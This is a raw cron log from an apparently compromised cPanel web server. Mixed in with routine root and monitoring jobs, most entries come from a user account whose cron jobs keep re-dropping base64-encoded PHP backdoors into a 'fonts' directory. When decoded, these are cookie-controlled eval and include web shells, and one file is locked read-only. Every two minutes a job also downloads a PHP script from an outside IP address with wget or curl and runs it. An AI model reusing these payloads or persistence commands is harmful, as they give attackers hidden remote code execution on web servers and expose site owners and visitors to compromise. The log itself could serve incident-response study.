Sep  1 08:49:01 ip-184-168-122-23 CROND[23417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:49:01 ip-184-168-122-23 CROND[23418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:50:01 ip-184-168-122-23 CROND[23564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:50:01 ip-184-168-122-23 CROND[23565]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:50:01 ip-184-168-122-23 CROND[23566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:50:01 ip-184-168-122-23 CROND[23570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:50:01 ip-184-168-122-23 CROND[23573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:50:01 ip-184-168-122-23 CROND[23576]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:50:01 ip-184-168-122-23 CROND[23575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:50:01 ip-184-168-122-23 CROND[23574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:50:01 ip-184-168-122-23 CROND[23571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:51:01 ip-184-168-122-23 CROND[23708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:51:02 ip-184-168-122-23 CROND[23713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:51:02 ip-184-168-122-23 CROND[23711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:51:02 ip-184-168-122-23 CROND[23710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:52:01 ip-184-168-122-23 CROND[23855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:52:01 ip-184-168-122-23 CROND[23856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:52:01 ip-184-168-122-23 CROND[23854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:52:01 ip-184-168-122-23 CROND[23857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:52:01 ip-184-168-122-23 CROND[23853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:53:01 ip-184-168-122-23 CROND[23968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:53:02 ip-184-168-122-23 CROND[23972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:53:02 ip-184-168-122-23 CROND[23974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:53:02 ip-184-168-122-23 CROND[23975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:54:01 ip-184-168-122-23 CROND[24105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:54:01 ip-184-168-122-23 CROND[24106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:54:01 ip-184-168-122-23 CROND[24107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:54:01 ip-184-168-122-23 CROND[24108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:54:01 ip-184-168-122-23 CROND[24113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:55:01 ip-184-168-122-23 CROND[24308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:55:01 ip-184-168-122-23 CROND[24309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:55:01 ip-184-168-122-23 CROND[24313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:55:01 ip-184-168-122-23 CROND[24311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:55:01 ip-184-168-122-23 CROND[24312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:55:01 ip-184-168-122-23 CROND[24314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:56:01 ip-184-168-122-23 CROND[24416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:56:01 ip-184-168-122-23 CROND[24418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:56:01 ip-184-168-122-23 CROND[24420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:56:01 ip-184-168-122-23 CROND[24419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:56:01 ip-184-168-122-23 CROND[24421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:57:01 ip-184-168-122-23 CROND[24526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:57:01 ip-184-168-122-23 CROND[24528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:57:01 ip-184-168-122-23 CROND[24529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:57:01 ip-184-168-122-23 CROND[24530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:58:01 ip-184-168-122-23 CROND[24652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:58:01 ip-184-168-122-23 CROND[24655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 08:58:01 ip-184-168-122-23 CROND[24653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:58:01 ip-184-168-122-23 CROND[24657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:58:01 ip-184-168-122-23 CROND[24656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:59:01 ip-184-168-122-23 CROND[24757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:59:01 ip-184-168-122-23 CROND[24759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:59:01 ip-184-168-122-23 CROND[24758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:59:01 ip-184-168-122-23 CROND[24760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:00:01 ip-184-168-122-23 CROND[24917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:00:01 ip-184-168-122-23 CROND[24918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:00:01 ip-184-168-122-23 CROND[24919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:00:01 ip-184-168-122-23 CROND[24926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:00:01 ip-184-168-122-23 CROND[24927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:00:01 ip-184-168-122-23 CROND[24925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:00:01 ip-184-168-122-23 CROND[24931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:00:01 ip-184-168-122-23 CROND[24932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:00:01 ip-184-168-122-23 CROND[24933]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
